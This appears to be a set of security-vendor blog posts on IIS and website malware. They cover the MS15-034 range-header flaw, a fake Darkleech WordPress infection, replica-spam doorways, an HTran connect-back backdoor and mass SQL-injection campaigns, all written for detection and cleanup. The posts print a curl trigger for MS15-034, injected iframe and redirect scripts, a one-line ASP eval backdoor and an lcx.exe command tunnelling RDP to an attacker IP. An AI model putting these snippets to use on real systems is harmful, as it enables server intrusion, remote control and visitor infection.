Critical Microsoft IIS vulnerability Leads to RCE (MS15-034)

Microsoft just disclosed a serious vulnerability (MS15-034) on their Web Server IIS that allows for remote and unauthenticated Denial of Service (DoS) and/or Remote Code Execution (RCE) on unpatched Windows servers. An attacker only needs to send a specially crafted HTTP request with the right header to exploit it. That’s how serious it is.

RCE  is used to describe an attacker’s ability to execute  commands of the attacker’s choice on a target machine from a remote location bypassing all security mechanisms.

This security update is rated Critical for all supported editions of Windows 7, Windows Server 2008 R2, Windows 8, Windows Server 2012, Windows 8.1, and Windows Server 2012 R2. You can read more details about the versions affected  Microsoft Security Bulletin.

What’s happening in the wild

A simple POC has been released so you can expect public exploits to be released very soon. The attack is based off a change in HTTP!UlpParseRange in which an error code is returned as a result of a call to HTTP!RtlULongLongAdd when evaluating the upper and lower range of an HTTP range request.

8a8b2112 56              push    esi
8a8b2113 6a00            push    0
8a8b2115 2bc7            sub     eax,edi
8a8b2117 6a01            push    1
8a8b2119 1bca            sbb     ecx,edx
8a8b211b 51              push    ecx
8a8b211c 50              push    eax
8a8b211d e8bf69fbff      call    HTTP!RtlULongLongAdd (8a868ae1) ; here

This is the code that has been released:

MS15-034

This code is using the Range-header to trigger a buffer overflow and detect if the system is vulnerable or not. The attack is very similar to the “Apache Killer” that happened a few years ago.

The Range-Header is used to request only part of an object. It is commonly used by download managers to resume downloads.

Identifying a vulnerable system

You can easily verify if your server is vulnerable using the following curl command:

curl -v SERVER_IP -H "Host: anything" -H "Range: bytes=0-18446744073709551615"

If you get something like this:

MS15-034 check

That means your server is not patched.

Fixing the Problem

All sites behind CloudProxy (our Website Firewall and Intrusion Prevention System for Websites) are already protected against this vulnerability. If you are not a customer you should apply the Microsoft patches ASAP.

WordPress Malware Causes Psuedo-Darkleech Infection

Source: The National Archives (UK)

Source: The National Archives (UK)

Darkleech is a nasty malware infection that infects web servers at the root level. It use malicious Apache modules to add hidden iFrames to certain responses. It’s difficult to detect because the malware is only active when both server and site admins are not logged in, and the iFrame is only injected once a day (or once a week in some versions) per IP address. This means that the infection symptoms are not easy to reproduce. Since it’s a server-level infection, even the most thorough website-level scans won’t reveal anything. And even when the culprit is identified, website owners may not be able to resolve the issue without help of a server administrator.

Despite the detection difficulties, it was quite easy to tell that the server was infected with Darkleech when we saw the malicious code — it has followed the same recognizable pattern since 2012:

  • Declaration of a CSS class with a random name and random negative absolute position
  • A div of that class
  • A malicious iFrame with random dimensions inside that div.

This is what it looked like back in September of 2012:

<style>.tlqvepxi { position:absolute; left:-1648px; top:-1752px} </style> <div class="tlqvepxi">
<iframe src="hxxp://example.com/21234443.html" width="581" height="476"></iframe></div>

and this is the code from November of 2014

<style>.syxq9la69 { position:absolute; left:-1666px; top:-1634px} </style> <div class="syxq9la69">
<iframe src="hxxp://jsnrgo .ddns .net/nsiumkogckv1tv4locfzyv2eykqss9ltfb9wnmhfqz1ol2" width="285" height="554"></iframe></div>

Very similar, isn’t it?

At some point, Darkleech began to use free No-IP dynamic DNS hostnames (random third-level domains on ddnes.net, myftp.org, servepics.com, hopto.org, serveftp.com, etc. ) and this became one of its distinguishing features too.

New version of Darkleech?

Recently, we began to notice the following code on some WordPress websites.

<style>.cznfvc1d54 { position:absolute; left:-1447px; top:-1785px} </style> <div class="cznfvc1d54">
<iframe src="hxxp:// dhbxnx .serveftp .com/blog/4c2H?utm_source=g86" width="593" height="405"></iframe></div>

That’s the same pattern, except for the trailing iFrame URL part: /blog/4C2H?utm_source=g86.

It stayed the same on all the sites. The only varying part of the URL paths was the value of the utm_source parameter: utm_source=g86, utm_source=g112, utm_source=g90, utm_source=g98, etc.

Sometimes the malware was hard to reproduce, but on some sites it was reproducible on every load. What was even stranger is that we saw this on IIS servers (with PHP support) too. We had not heard of Darkleech infecting IIS web servers.

Malware in nav-menu.php

Then we had a chance to work with one of the infected websites and found the real source of these “Darkleech iFrames”. The culprit was the infected wp-includes/nav-menu.php core WordPress file.

It had the following injected encrypted code in the middle of it:

Malware in nav-menu.php

Malware in nav-menu.php

In this decoded version, we see a backdoor section that allows execution of PHP code passed in the p1 and p2 POST parameters to any blog URL:

Backdoor section of the code

… and this section that downloads code from a remote dazzer .slyip .com server and injects the downloaded code into web pages:

Downloading malware from dazzer .slyip .com

Downloading malware from dazzer .slyip .com

Two Layers of Tests

Here you can see that there are two layers of tests determining whether to inject malware or not.

The first layer is in this script. It’s some sort of pre-screening. It makes sure that the requests are not coming from search engine bots or from Google’s network. Also note the commented out line where they used to check for Internet Explorer browsers only — for some reason they removed this condition in the current version.

The second layer is on the remote server. They pass the following information about every request in the parameters of the URL: hxxp: / /dazzer .slyip .com/ordpm/v2/?export=7f53f8c6c730af6aeb52e66eb74d8507&url=nnnnn&g=ggg :

  • Domain of the infected site
  • IP address of the visitor
  • Browser of the visitor (user agent)
  • Referrer

It’s clear that this information is used to determine request “eligibility”. The dazzer .slyip .com can track IP addresses and return the malicious code only once in a certain period of time, to requests from the same IP. The IP address also helps with geo-targeting if the attackers are only interested in traffic from certain countries. The user agent string will tell them whether the visitor uses a vulnerable version of a browser that they can attack. The referrer helps them identify visitors who came to the site after clicking on links in search results or on social networks (website owners and webmasters are more likely to use bookmarks rather than search engines).

If all the requirements are met, the remote server returns a base64-encoded malware to be injected into web pages (since it is in the nav-menu.php it will be at the very top of the HTML code, before the tag). If the request is considered not eligible, then dazzer .slyip .com doesn’t return anything and malware is not being injected.

Verifying the Injected Payload

OK, this code is definitely malicious and its behavior is quite typical for PHP malware. But is it really responsible for those “Darkleech iFrames” – or maybe it’s some different malware and removing it won’t be enough to fix the Darkleech problem. To figure this out, I conducted a very simple test — used the malware code to prepare a complete dazzer .slyip .com URL with all the required parameters and made a request to it from a different server — the response came back with a base64-encoded string, which after decoding looked like this:

Pseudo-darkleech code from dazzer .slyip .com

Pseudo-darkleech code from dazzer .slyip .com

That’s exactly the code that we originally thought belonged to Darkleech. And you might have noticed that the utm_source=g112 parameter in the iframe URL matches the g=112 parameter in the dazzer .slyip .com URL. This test proved that the real culprit was the malware inside one of the WordPress files, not a root level web server infection.

What we see here is malware that uses the same iframe code generation algorithm as we originally noticed in Darkleech: hidden style, div and an iframe inside the hidden dive, with all the names and parameters changing on every load. The use of No-IP hostnames is also common with Darkleech. By the way, the dazzer .slyip .com domain also uses a Dynamic DNS service — this time if belongs to DtDNS (at the time of writing it points to 217.172.170.7 – Germany, Hurth Plusserver Ag).

Remediation

Unlike a real Darkleech infection, this one is pretty easy to deal with. The malware should be detectable by any security plugin (e.g. Sucuri Security plugin) that checks integrity of core WP files. And the easiest way to remove the malware is to replace the infected file with the clean one from the original WordPress package. You can also reinstall WordPress or upgrade it if you are still using an old version.

Of course, this is only a part of the cleanup process. You will also need to find and remove all the backdoors that hackers might have placed on your server and identify the security hole that was used to break into your site in the first place. 

In case of this attack, you may find backdoors that I showed in the screenshot for the backdoor section above in some random files. They may be core WordPress files or third-party plugin files. Try searching for “passssword” (note 4 s). We can also see that most compromised sites are using old vulnerable versions of the Slider Revolution (RevSlider) plugin. Update it ASAP, even if it’s a part of a theme! Update all other themes and plugins too.

Note, we can see that once hackers break into a web site, they infect the nav-menu.php files in all the sites that share the same hosting account (they don’t have to have the RevSlider plugin). Moreover, not only WordPress sites can be infected this way. We also see that the attackers inject the same code into the defines.php file of Joomla! websites, e.g: includes/defines.phpadministrator/includes/defines.php

Once you remove malware and update software, make sure to change all passwords. You might also want to check if hackers created additional WordPress admin users as suggested in this post. I can’t confirm it always happens, but if a site uses old versions of a plugin that has been actively exploited for more than 6 months now, then the chances are it’s not the first time it has been hacked and it may be affected by multiple unrelated attacks.

For additional pro-active protection we recommend using a website firewall.If you’re currently infected, and need help, you can learn more about our Website Malware Removal Services.

IIS, Compromised GoDaddy Servers, and Cyber Monday Spam

While doing an analysis of one black-hat SEO doorway on a hacked site, I noticed that it linked to many similar doorways on other websites, and all those websites were on IIS servers. When I see these patterns, I try to dig deeper and figure out what else those websites have in common. This time I revealed quite a few GoDaddy Windows servers have been pwned by “replica spam” hackers.

Let’s Dig Into Some Numbers

1,782 Domains. I collected 1,782 unique compromised domains that hackers use in this campaign. This list is just a tip of an iceberg and I’ll show why a bit later, so read on.

305 IP Addresses. Those websites are scattered across 305 unique IP addresses (actually 304, if we ignore four domains whose addresses I couldn’t resolve). This means roughly 6 websites per IP, however they are not evenly distributed and while many IPs only have one compromised site, some of the servers have hundreds of them.

Top networks:

  • GoDaddy: 95 hosts (31%) and 1,095 websites ( 61%. )
  • Brinkster: 50 hosts (16%) and 258 websites (14%)
  • Network Solutions: 27 hosts (9%) and 77 websites (4%)
  • Versaweb LLC: 5 hosts (1.6%) and 88 websites (5%)

As you can see, 84% of all websites belong to 4 networks.

Let’s look closer at servers on these networks, but before we do it I’ll show how I find compromised websites.

Cyber Monday Spam

The spam campaign I’m investigating is promoting online stores that sell cheap “replicas” of popular luxury brands like Beats by Dre, Michael Kors, Lululemon, Uggs, Juicy Couture, Moncler, Ray Ban, etc. Most of the doorways are currently optimized for Black Friday and Cyber Monday deals. The typical anchor text they use in their links is something like “michael kors cyber monday” or “uggs black friday“.

These spammy links point to the homepage of compromised websites, which typically have a block of hidden links at the bottom of HTML code:

<div style="position:absolute;filter:alpha(opacity=0);opacity:0.001;z-index:10;"> ... 
30-400 spammy links here ... 
</div>

If the website is vulnerable enough, hackers will install a script that generates completely new spammy pages specifically for search engines and return normal pages for human visitors — cloaking. The “human” versions of the pages have a small script at the very top of the HTML (usually before the tag) that redirects web searchers to spammy sites. It either something like this:

<script>
var s=document.referrer;
if(s.indexOf("google")>0 || s.indexOf("bing")>0 || s.indexOf("aol")>0 || s.indexOf("yahoo")>0)
{
self.location='hxxp://www .jackets pretty .com'; //just one of many domains they use
}</script>

or a similar script, loaded from the spammers’ own server:

<script src="hxxp://nofie.talkmes . com/c/nofie.js" type="text/javascript"></script>

At this point they use the following script URLs:

hxxp://bats . solorule . com/d/bats.js
hxxp://bats . solorule . com/c/bats.js
hxxp://cancher . iamsanver . com/a/cancher.js
hxxp://cancher . letgopub . com/c/cancher.js
hxxp://cancher . sanonsport . com/d/cancher.js
hxxp://luover . unbangs . com/c/luover.js
hxxp://meika . ruvipshop . com/a/meika.js
hxxp://meika . sportruns . com/d/meika.js
hxxp://meika . ruvipshop . com/a/meika.js
hxxp://meika . ukingfans . com/c/meika.js
hxxp://nofie . godalice . com/d/cagode.js
hxxp://nofie . godalice . com/kspe.js
hxxp://nofie . rockenice . com/a/cagode.js
hxxp://nofie . rockenice . com/a/nofie.js
hxxp://nofie . talkmes . com/c/nofie.js
hxxp://ungogo . godleders . com/a/ungogo.js
hxxp://ungogo . leftgod . com/c/ungogo.js
hxxp://ungogo . leftgod . com/c/ungogo.js
hxxp://ungogo . nightleder . com/d/ungogo.js
hxxp://js . xufengonline . com/js/zong.js
hxxp://www . monclerslocker . com/js/style.js

Most of them are on the 173.252.207.166 IP (Take 2 Hosting Inc).

Detection

Any of these variants are easily detected by both Sucuri SiteCheck and Unmask Parasites, so it’s not a problem to check websites and tell whether they are infected or not.

Now that we know how to detect the infection, let’s just test random websites on some of the IPs that have many infected websites (based on my doorway analysis).

For example, let’s take 184.168.152.150 (where I found 25 doorways) and use the Bing’s “ip:” search operator along with the “cyber monday” keyword to find websites on that server: http://www.bing.com/search?q=ip%3A184.168.152.150+cyber+monday. Now you can scan websites for results that point to home pages (/ or index.html). More than 70% of the websites I checked are still infected (the rest either won’t load or have been cleaned already).

Bing Cyber Monday Results

Bing Cyber Monday Results

Compromised Servers

This simple Bing search revealed hundreds of infected websites on that server. I observed the same results for 49 out of 95 GoDaddy servers from my list.

184.168.152.149
184.168.152.150
184.168.152.151
184.168.152.3
184.168.27.116
184.168.27.204
184.168.27.205
184.168.27.206
184.168.27.32
184.168.27.33
184.168.27.34
184.168.27.35
184.168.27.36
184.168.27.37
184.168.27.39
184.168.27.40
184.168.27.41
184.168.27.44
184.168.27.46
184.168.27.47
184.168.27.81
184.168.27.82
184.168.27.83
184.168.46.17
184.168.46.18
184.168.46.74
50.63.196.33
50.63.196.34
50.63.196.35
50.63.196.47
50.63.197.10
50.63.197.12
50.63.197.13
50.63.197.139
50.63.197.140
50.63.197.141
50.63.197.142
50.63.197.144
50.63.197.145
50.63.197.203
50.63.197.206
50.63.197.207
50.63.197.208
50.63.197.6
50.63.197.7
50.63.197.8
50.63.197.9
50.63.202.26
97.74.215.156

Those 49 servers are shared Windows servers with thousands of sites. For example, Domaintools.com says 2,050 sites use the 184.168.152.150 address. The websites I checked belong to different users so it’s not just a matter of individual compromised accounts. And the websites are quite heterogeneous – ASP, PHP, pure HTML, etc. so it doesn’t look like a common web application vulnerability either. It looks like those servers have been pwned by hackers who now have access to most user accounts there. Given that we have almost 50 known such Windows servers on the GoDaddy network, this may mean some infrastructure level problems or at least common Windows server security configuration issues.

The rest of the servers typically have one or very few websites (I suppose either dedicated servers or IPs) so they don’t affect this hypothesis.

Some of the Brinkster and Versaweb servers also have this issue:

65.182.100.172
65.182.100.177
65.182.100.186
65.182.100.191
65.182.100.88
65.182.101.106
65.182.101.150
65.182.101.152
65.182.101.206
65.182.101.207
65.182.101.41
65.182.101.60

76.164.226.242
76.164.226.243
76.164.226.244
76.164.226.245
76.164.226.246

It’s still not clear why all websites on those servers have not been infected (or have they been cleaned already?). Maybe hackers infected them semi-manually, so just a few hundred infected websites was good enough for them?

When checking random websites on the compromised servers I noticed that some of them used very old versions of CMS’s (e.g. 4 year old WordPress). Maybe such websites were the penetration points that helped hackers compromise the whole servers later?

I also know that hackers install PHP wrapper scripts on pure HTML sites. For example, it’s typical to see a default.php working instead of index.html when you request a homepage. This wrapper script explains why you see the injected script at the very top of the HTML code and how hackers manage to implement “cloaking” on pure HTML sites.

At this point, I can only see the following things in common on the servers used in this spam campaign:

  • Windows
  • IIS (usually an old version)
  • PHP support

I wonder if this combination has a known security hole that allows to pwn server?

To Webmasters

This time I’d like to reach out to webmasters who host their websites on shared Windows servers. Especially to GoDaddy clients.

Please Check Your Websites ASAP!

You can start with free online scanners like Sucuri SiteCheck and Unmask Parasites,

Then check search results for your website on Google (the “site:” operator), where you should look for unexpected keywords in your page titles and descriptions. Make sure to check “cached” copies that Google store for your site. Then add the following keywords to your “site:” search that may help your spot more web spam:

  • site:yourdomain.com cheap
  • site:yourdomain.com buy online
  • site:yourdomain.com “cyber monday”
  • site:yourdomain.com “black friday”
  • site:yourdomain.com outlet

Then you might want to figure out if your server looks compromised. First, identify your website’s IP address. You can use commands like ping or host, you can enter your domain name on a website like whois.domaintools.com, or you can at least ask your hosting provider. With your IP, you can then use the Bing‘s “ip:” search along with some spammy keywords.

Here are a few searches that I suggest you can try:

ip:ip address cyber monday
ip:ip address black friday
ip:ip address ”beat by dre cheap”
ip:ip address ”Cheap Louis Vuitton”
ip:ip address viagra online
ip:ip address payday loans
ip:ip address “order cialis online”

If you see many results from different websites, you might want to ask your hosting provider what’s going on there, and if the server is really secure.

We are currently contacting hosting providers so they can address this issue…

Microsoft IIS Web Server – CMD Process Contributing to Website Reinfections

We often spend a lot of time talking about application level malware, but from time to time we do like to dabble in the ever so interesting web server infections as well. It is one of those things that comes with the job. Today, we’re going to chat about an interesting reinfection case in which the client was running their website on a Microsoft’s Internet Information Services (IIS) web server. Yes, contrary to popular belief many organizations, especially large enterprise organizations, still leverage and operate IIS web servers.

And for those that thought we only dabble in Linux Apache MySql PHP (LAMP) stacks, well now you know.. :)

As is often the case, when we think of the how and the what attackers are set out to do once they penetrate our web server we stop short of the final step – maintaining control of the environment. This is perhaps the most critical, especially today where ownership of a slave box can fetch a great sum of money in the underground.

Sucuri - Anatomy of an Website Attack

Sucuri – Anatomy of Website Attack

These slave machines can be used to reinfect website by bypassing existing access controls, can add web servers to networks of other slave machines (otherwise known as zombie networks or botnets), can be used for Brute Force and Denial of Service attacks and a number of other nefarious acts. This is why when we talk about infections you will often refer to it as only 10% of the problem. Often, what you see, albeit bad and annoying, is usually not the real problem, it’s but a symptom of a bigger infection.

Such was this case..

The Windows Server

If we take a step back in time, you might recall early 2013 – we refer to that as the period where web servers compromises were taking over. We were writing extensively on the latest Darkleech, Cdork and Ebury incidents. I am not going to lie, as a researcher, this was a very exciting time for me and my team. Finally, attackers were showing a level of sophistication worthy of some in-depth analysis.

Needless to say, we didn’t spend much time on Windows Servers, IIS web servers, it’s not to say that they too were not being affected, but the impact just wasn’t as great. This should be a surprise though as IIS has been steadily losing market share with website owners over the past few years. That however does not mean it’s no longer utilized, it is. This case is an example of that.

In this case, we were faced with a challenging server issue where every site on the web server would get reinfected with spam, backdoors and other malware as quickly as it was cleaned. Yes, very very annoying…

The Hunt Begins

Our first instinct was that the server was suffering from cross-contamination and compromised FTP credentials. From this point, we knew we needed the client to do a full FTP credential reset to control the reinfections, but when they did, the reinfections just started up again like nothing had been done. What was happening here?

We restarted our investigation and began to fish for answers.

We suspected that either a vulnerable upload script or a compromised admin area credential had allowed the cross-contamination to restart and was causing the problem. However, as we dove deeper into the logs, the client messaged us to tell us that he had found and killed the suspicious process fixing the issue. Case closed, right?

Well, no. It wouldn’t make a very good explanatory blog post if that was it….

Within hours, the reinfections came back with a vengence. Fortunately for the client, we were still analyzing the logs when it returned, you see when it’s something interesting we have a bad case of OCD where we want to better understand what happened. In general, we love it when we’re surprised by complexities within malware and are interested in learning as much as we can about the offending code. Contrary to popular belief, we’re not perfect.

In the analysis we decided to take a peak at the offending processor. We had to better understand what it was doing.

Sucuri - Windows IIS Malicious Processor - LCX EXE

Sucuri – Windows IIS Malicious Processor – LCX EXE

As you can see with the Process Explorer screenshot above, an IIS process (w3wp.exe) started a Command shell (cmd.exe), which was used to start the lcx.exe process. Based on the command line option, it seemed like this process was connecting back to the 199.180.101.206 server. A quick search of the IP turned up numerous complaints across the interwebs about it’s use in bot networks and as the originating node of DDoS attacks.

Naturally this was a red flag and worthy of further sleuthing. As we continued to look into the process, more and more of the picture began to unfold before us and we started to see where we needed to look for more information (note: all identifying client data has been removed):

Sucuri - Windows IIS Malicious Processor - CMD EXE

Sucuri – Windows IIS Malicious Processor – CMD EXE

To start, the command line and current directory were key to finding the backdoor used to start and maintain access to the server as well as where the files were located so we could remove them. If you’re curious, the full command line was:


"C:RECYCLERcmd.exe" /c "cd /d "D:InetpubUsersinfectedwebsitewwwrootscripts"&C:RECYCLER\lcx.exe -slave 199.180.101.206 1113 127.0.0.1 3389&echo [S]&cd&echo [E]"

After reviewing all of the files inside the script directory, we found this piece of code spread out inside of an asp file:


<% Dim ConKey:ConKey="700" Dim InValue:InValue=Request(ConKey) eval(InValue) %>

That’s simple enough, right? The injected file wouldn’t be any better. After checking the access logs, it became clear that it received several valid POST requests throughout the day, making it harder to identify any single suspicious entry.

Let’s go back to the lcx.exe process for a second. The client had an AntiVirus running and we downloaded a couple extra stand-alone scanners to check for suspicious files to make sure that they were all coming up clean. We also leveraged VirusTotal and this is what they confirmed.

Sucuri - Winwos IIS Malicious Processor - VirusTotal Confirmation

Sucuri – Winwos IIS Malicious Processor – VirusTotal Confirmation

For you astute reader, you probably caught my mention earlier of the processor being stopped, yet the server being reinfected. If you did, then you’re likely asking yourself, “Hold up Fio, if they stopped it, yet they were still reinfected, how was it the processor leading to the reinfection?”

I’m so glad you asked..

You see, once you identify the infection you have to take it to the next step and understand the order of events. In this scenario, the key was to first kill the process, then remove the backdoors. Doing it in reverse would lead you into an endless circle. Stopping the processor, but leaving the backdoors would allow the attacker to regain entry and reinfect the server. Leaving the processor and removing the backdoor would just reinfect the server with more backdoors.

Once it was cleared in the right order, like magic, the reinfections stopped. Thank goodness I would say!!!

Understanding the Attack

After checking these files against our database, we can see that the file is the HUC Packet Transmit Tool V1.00, which is a Chinese connect-back backdoor also known as HTran. It was listed as a Advanced Persistent Threat (APT), but since it was easy to get rid of once detected I don’t necessarily believe in its persistence. :)

The malware was configured on slave mode (it can be set to listen, transmit packages or connect-back) and it allowed the attacker to have full access to the infected server.

Sucuri - Windows IIS Malicious Processor - CMD EXE Options

Sucuri – Windows IIS Malicious Processor – CMD EXE Options

There are two main takeaways here.

First, it’s important to remember that attackers make more money when they have more websites and web servers infected so they will always be trying to find ways into your site.

Second, it’s always easier to attack the attackers when we work together so, if you’re facing a malware or reinfection issue and you can’t figure out how to clean your site or web server, contact us.

Out-of-date Software Affects Websites Big and Small

Last week we published an article listing some big and popular websites that were leaking information about their users via the Apache server-status page. We also published a full list of sites that had this option enabled on our Labs project: URLFind.org.

On URLFind, we list a lot more details than just the sites that have server-status enabled. You can easily find sites that are running outdated versions of WordPress, Joomla or even vBulletin. We also index sites that are still running PHP 4 (outdated and not supported) and other potentially unsafe configurations and servers.

Message to all webmasters

After we published the blog post with the server-status issue, almost all of the sites got fixed (well, excluding Staples and Ford), which I don’t think they would have without that small push (walk of shame).

We are hoping that by shedding a bit more light to this already publicly exposed dilemma, webmasters will take note and update their sites and servers as soon as they can.

Read More

Nikjju SQL injection update (now hgbyju. com/r.php)

We posted a few days ago about a Mass SQL injection campaign that has been compromising thousands of sites. Our latest numbers show more than 200,000 pages got infected with the nikjju.com malware.

However, since the last two days, the attackers switched domain names and are now using hgbyju.com to distribute their malware (also hosted at 31.210.100.242). So the following code is now getting added to the compromised web sites:

<script src = http://hgbyju.com/r.php <</script>

This domain name was registered just a few days ago (April 17) by James Northone jamesnorthone@hotmailbox.com, same name/email used on nikjju.com and many other domains from similar malware campaigns (probably fake):

Registrant Contact:
JamesNorthone
James Northone jamesnorthone@hotmailbox.com
+1.5168222749 fax: +1.5168222749
128 Lynn Court
Plainview NY 11803
us

So they have been at this for a while with no sign at stopping.

Nikjju Mass injection campaign (180k+ pages compromised)

Our research team have been tracking a new mass SQL injection campaign that started early this month. So far more than 180,000 URLs have been compromised. We will keep posting updates as we get them.


Nikjju is a mass SQL injection campaign targeting ASP/ASP.net sites (very similar to lizamoon from last year). When successful, it adds the following javascript to the compromised sites:

<script src= http://nikjju.com/r.php ></script>


Read More

Mass infections from jjghui.com/urchin.js (SQL injection)

We are seeing many sites compromised with malware from jjghui.com/urchin.js. Most of them are IIS/ASP sites and the infection method seems to be similar to the Lizamoon mass infections from a few months ago (SQL injection).

According to Google, almost 1.5k sites have been blacklisted already due to it, and there are 80k+ pages on Google index with a JavaScript malware pointing to it.

What is interesting is that the registration information for this domain is the same as the one used on the earlier Lizamoon domains:

Read More

LizaMoon SQL injections (ur.php) – Now vcvsta.com, asweds.com, etc.

A couple of months ago the Lizamoon malware / Mass SQL injection was getting a lot of news coverage that it could be affecting hundreds of thousands of sites.

The media mostly forgot about it, but we kept tracking those attacks and they are continuing at full force, but using different domain names.

For example, the domain http://vcvsta.com/ur.php caused 1.5k sites to get blacklisted by Google:

Read More

LizaMoon Mass SQL injection (ur.php) – Updates

There has been a lot of talk for the last few days about a mass sql injection targeting IIS/ASP.net sites.

Those attacks has been going for a while and the lizamoon.com/ur.php is not the only domain being used to distribute the malware, making the attack a lot bigger than what has been reported.

For example, the alisa-carter.com/ur.php caused more than 900 domains to get blacklisted and google reports more than 500k URLs infected with it.

These are just some of the other domains being used. If you search for each one on Google you will find thousands of references (all injected on IIS sites, using the same ur.php scheme and hosted on similar locations):

Read More